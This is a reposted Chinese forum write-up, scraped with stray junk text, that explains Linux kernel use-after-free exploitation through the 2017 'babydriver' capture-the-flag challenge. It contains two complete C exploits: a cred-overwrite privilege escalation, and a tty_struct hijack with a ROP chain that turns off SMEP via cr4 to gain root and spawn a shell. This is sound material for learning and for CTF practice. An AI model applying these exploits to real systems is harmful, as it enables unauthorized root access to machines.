手机网站源代码,网站推广包括,wordpress 批量打印,移动互联网开发心得体会原标题#xff1a;Linux Kernel Pwn 学习笔记 (UAF)本文为看雪论坛优秀文章看雪论坛作者ID#xff1a;Vinadiak0x01 背景知识UAF漏洞#xff1a;UAF 漏洞是当我们 free 掉某个指针变量所指向的堆块的时候#xff0c;未将该指针变量置0#xff0c;导致该指针依然指着该堆块…原标题Linux Kernel Pwn 学习笔记 (UAF)本文为看雪论坛优秀文章看雪论坛作者IDVinadiak0x01 背景知识UAF漏洞UAF 漏洞是当我们 free 掉某个指针变量所指向的堆块的时候未将该指针变量置0导致该指针依然指着该堆块地址当我们引用该指针的话也就引用该指针所所指向的地址。这个漏洞对于开发者很容易忽略但威力非常强大。条件竞争在多线程的环境下当多个线程同时访问某一个共享代码、变量或文件的时候就有可能发生条件竞争的漏洞利用该漏洞可以产生意想不到的效果不过有时候需要碰撞该漏洞才行有一定失败几率。(在linux kernel pwn里面一般开了多线程就很有可能是利用条件竞争)。cred当我们fork一个新的进程的时候会产生cred结构体在task_struct中大小为0xa8注意当cred的uid,gid为0的话我们就提权成功。ptmx当我们open(/dev/ptmx)的时候会分配一个tty_operation的结构体,覆盖该结构体可以将控制流劫持到我们的代码中。cr4控制寄存器,功能之一开启关闭smep和smap保护只要将cr4寄存器对应SMAP、SMEP保护位置为0即可关闭对应保护常用mov,cr4,0x6f0。0x02 2017国赛 babydriver保护分析只开启了 nx 保护只开启smep不能ret2usr。逻辑分析ioctlkfree 掉device_buf,kmalloc用户指定大小的堆块。babywrite从用户的buf里面写入到device_buf,大小要小于堆块的大小。babyread将device_buf读入到用户指定的buf。babyreleasekfree 掉指定的 device_buf,但没有置0UAF 漏洞。0x03 编写EXPEXP思路11.fd1,fd2打开device2.fd1用ioctl 让 device 去 malloc 0xa8大小的堆块后free掉3.fork一个新的进程4.用fd2将device_buf全都置05.执行system(/bin/sh)。这里很多人可能看不明白3-5详细讲下Linux kernel使用slab分配器来分配堆块就像fastbin的后进先出一样当我们fork一个新的进程后会malloc一个0xa8大小的cred的结构体此时slab会找到device_buf对应的堆块地址并分配给cred只要我们用uaf将这个cred对应的uidgid设置为0则该进程对应的权限即为root权限然后执行system(/bin/sh)就会得到shell了。exp代码如下# include# include# includeintmain{intfd1,fd2,id;charcred[ 0xa8] { 0};fd1 open( dev/babydev,O_RDWR);fd2 open( dev/babydev,O_RDWR);ioctl(fd1, 0x10001, 0xa8);close(fd1);id fork;if(id 0){write(fd2,cred, 28);if(getuid 0){printf( [*]welcome root:n);system( /bin/sh);return0;}}elseif(id 0){printf( [*]fork failn);}else{wait( NULL);}close(fd2);return0;}一些编写exp的技巧我已写在 上一篇文章 中。*点击文字即可跳转文章EXP思路2关闭cr4然后ret2usr1.fd1,fd2打开device2.fd1用ioctl 让 device 去 malloc 0x2e0大小的堆块后free掉3.fd3打开ptmx创建tty_struct到device_buf的地址4.fd2读取tty_struct到用户的buf中5.利用uaf让fd2的重写tty_struct将里面的tty_operation劫持到我们伪造的fake_tty_operationfake_tty_operation放入rop使用write的时候即可调用rop6.fd3执行write调用tty_operation[3]这里放入mov,rsp,rax执行栈劫持rax是我们fake_tty_opeartion的结构体,就可以实现rop了。exp代码如下//poc.c//gcc poc.c -o poc -w -static# include# include# includeunsignedlonguser_cs, user_ss, user_eflags,user_sp;size_tcommit_creds_addr 0xffffffff810a1420;size_tprepare_kernel_cred_addr 0xffffffff810a1810;void* fake_tty_opera[ 30];voidshell{system( /bin/sh);}voidsave_stats{asm(movq %%cs, %0nmovq %%ss, %1nmovq %%rsp, %3npushfqnpopq %2n: r(user_cs), r(user_ss), r(user_eflags), r(user_sp):: memory);}voidget_root{char* (*pkc)( int) prepare_kernel_cred_addr;void(*cc)( char*) commit_creds_addr;(*cc)((*pkc)( 0));}intmain{intfd1,fd2,fd3,i 0;size_tfake_tty_struct[ 4] { 0};size_trop[ 20]{ 0};save_stats;rop[i] 0xffffffff810d238d; //pop_rdi_retrop[i] 0x6f0;rop[i] 0xffffffff81004d80; //mov_cr4_rdi_pop_rbp_retrop[i] 0x6161616161;rop[i] ( size_t)get_root;rop[i] 0xffffffff81063694; //swapgs_pop_rbp_retrop[i] 0x6161616161;rop[i] 0xffffffff814e35ef; // iretq; ret;rop[i] ( size_t)shell;rop[i] user_cs;rop[i] user_eflags;rop[i] user_sp;rop[i] user_ss;for(i 0; i 30; i){fake_tty_opera[i] 0xffffffff8181bfc5; //pop rax,pop rbp,ret}pop rax; pop rbp; ret;fake_tty_opera[ 0] 0xffffffff810635f5;fake_tty_opera[ 1] ( size_t)rop;//当调用write时就会指向3此时mov rsp,rax ; dec ebx ; ret//执行完后rspfake_tty_opera[0],就会执行从我们构造的栈执行了。fake_tty_opera[ 3] 0xffffffff8181bfC5;fake_tty_opera[ 7] 0xffffffff8181bfc5;fd1 open( /dev/babydev,O_RDWR);fd2 open( /dev/babydev,O_RDWR);ioctl(fd1, 0x10001, 0x2e0);close(fd1);fd3 open( /dev/ptmx,O_RDWR|O_NOCTTY);read(fd2, fake_tty_struct, 32);fake_tty_struct[ 3] ( size_t)fake_tty_opera;write(fd2,fake_tty_struct, 32);write(fd3, cc-sir, 6); //触发ropreturn0;}0x04 总结Linux Kernel Pwn不只是commit_creds(prepare_kernel_cred(0))这一条路条条道路通罗马要想对Linux Kernel完全渗透利用必须要对Linux操作系统和内核源码理想透彻。题目下载地址https://github.com/Vinadiak/LinuxKernelPwn/tree/master/2017%20babydriver看雪IDVinadiak*本文由看雪论坛 Vinadiak 原创转载请注明来自看雪社区戳“阅读原文 ”一起来充电吧返回搜狐查看更多责任编辑